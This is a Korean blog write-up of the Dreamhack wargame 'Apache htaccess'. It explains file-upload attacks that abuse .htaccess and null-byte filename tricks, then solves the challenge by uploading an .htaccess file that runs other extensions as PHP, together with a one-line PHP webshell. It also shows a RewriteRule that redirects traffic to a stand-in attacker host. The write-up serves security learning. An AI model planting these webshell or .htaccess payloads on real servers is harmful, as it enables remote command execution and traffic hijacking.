security/웹해킹

[Dreamhack Wargame] Apache htaccess

민사민서 2023. 7. 17. 13:12

파일 업로드 공격

1. .htaccess 이용

- 아파치 (Apache) 웹 서버는 일반적으로 /etc/apache2 또는 /etc/httpd 디렉터리에서 설정 파일을 관리

- AccessFileName 지시어를 사용해 설정 파일을 분산하여 관리할 수 있음, 기본적으로 .htaccess로 설정되어있음

root@ubuntu01:~# cat /etc/apache2/apache2.conf | grep ^AccessFileName
AccessFileName .htaccess
[root@centos01 ~]# cat /etc/httpd/conf/httpd.conf | grep ^AccessFileName
AccessFileName .htaccess

- .htaccess(hypertext access) 파일 = 분산 설정파일 = Apache 웹 서버 디렉토리 별로 설정을 제어할 수 있는 기본 파일, 특정 디렉토리에 위치하고 해당 디렉토리와 모든 하위 디렉토리에 영향을 행사함

- /etc/apache2/apache2.conf 에서 AllowOverride와 AllowOverrideList 지시어를 통해 명시한 설정들을 변경할 수 있음

# <Directory /var/www/html/>
# 	  Options Indexes FollowSymLinks
#	  AllowOverride None
# </Directory>

<Directory /var/www/html/>
	AllowOverride All
</Directory>

- 파일업로드 취약점이 있는 .htaccess 파일을 업로드해 덮어쓴다. 대표적인 technique으로는 3개정도 있는듯?

1) 확장자 설정 변경 후 웹쉘 업로드

<Files "webshell.jpg">
    # Apache2 자체 mod_php를 사용하는 경우
    SetHandler application/x-httpd-php
</Files>

* webshell.jpg 에 대한 요청이 들어오면 setHandler에 의해 명시된 핸들러가 처리, php 스크립트로 해석

AddType application/x-httpd-php .txt .zip

* 명시된 확장자들에 대해 php 파일 형식으로 인식시킴

 

=> 웹쉘 확장자 변경 후 (확장자 필터링 우회해) 업로드 및 공격

 

2) php 엔진 OFF 후 소스코드 확인

php_flag engine off
AddType text/plain .php

* php 소스코드가 주어지지 않았을 때 client interface에 소스코드 보이게 할 수 있음

* php 엔진을 꺼버린 후 php 파일을 text 파일로 인식하게 하여 plain text 형태로 코드 확인 가능

 

3) 공격자 서버로 Redirection

RewriteEngine On
RewriteOptions inherit
# HTTP Redirect 사용
RewriteRule (.*) http://attacker.address.com/$1
# 에러 페이지를 공격자의 웹 페이지로 리다이렉트합니다.
ErrorDocument 404 https://attacker.dreamhack.io/

* 모든 입력 URL에 대해 https://attacker.address.com 으로 리다이렉트함

* http://아파치 서버 주소/example 로 url 요청 시 https://공격자 주소/example 로 리다이렉트된다

 

2. 필터링 우회

 

1) 널문자 이용

URL 인코딩 입력 C 문자열 상 표기 실제 인식된 파일명
foo/bar.jpg "foo/bar.jpg" foo/bar.jpg
hello%00world "hello\0world" hello
baz/qux.cfg%00.jpg "baz/qux.cfg\0.jpg" baz/qux.cfg

- URL 파라미터에 %00(널 문자)를 삽입해 데이터 전송

- 일부 서버에서는 파일명에 널문자 포함 시 해당 부분을 파일명의 끝으로 인식

- 널 문자를 허용하고, 파일명의 끝에 있는 문자열을 확장자로 판단하는 웹 응용프로그램에서 사용 가능

 

2) Path traversal, 문자열 치환 우회

// 설명 생략

 

문제 분석

RUN apt-get install -y zip unzip tzdata curl
RUN apt-get install -y php5
RUN apt-get install -y apache2 libapache2-mod-php5

COPY ./flag.c /flag.c
RUN apt install -y gcc \
    && gcc /flag.c -o /flag \
    && chmod 111 /flag && rm /flag.c

Dockerfile 살펴보면

- 루트 디렉토리에 /flag 바이너리가 컴파일된 형태로 존재하고

- php5, acache2 웹 서버 를 사용하겠구나 알 수 있다

   <Directory /var/www/html/>
     AllowOverride All
     Require all granted
   </Directory>

config 파일을 살펴보면

- .htaccess 파일을 통해 모든 설정을 override 할 수 있고, 모든 사용자에게 접근 권한 부여했음을 확인 가능하다

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"]; // uploaded 파일명
    $tmp_name = $file["tmp_name"]; // 임시 디렉토리에 저장된 파일명
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name); // '.' 기준으로 문자열 split해 배열 리턴
        $extension = end($temp); // 마지막
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

upload.php 파일을 보면

- index.php에서 업로드한 파일이 사용 불가능한 확장자를 가진지 검사 후 upload/ 디렉토리에 업로드한다

- 대소문자 우회 불가능(서버에서 php 파일로 해석 안하더라)

 

문제 풀이

AddType application/x-httpd-php .txt

혹은

<Files "webshell.jpg">
    SetHandler application/x-httpd-php
</Files>

이렇게 해두고

 

<?php
    system($_GET['cmd']);
?>

이런 webshell.php를 확장자를 바꿔서 서버에 업로드한다

- 로컬에서 확장자 바꿔서 업로드해도 되고

- Windows Defender에 걸린다면 그냥 burp suite로 POST 요청 잡아서 파일명만 바꿔도 된다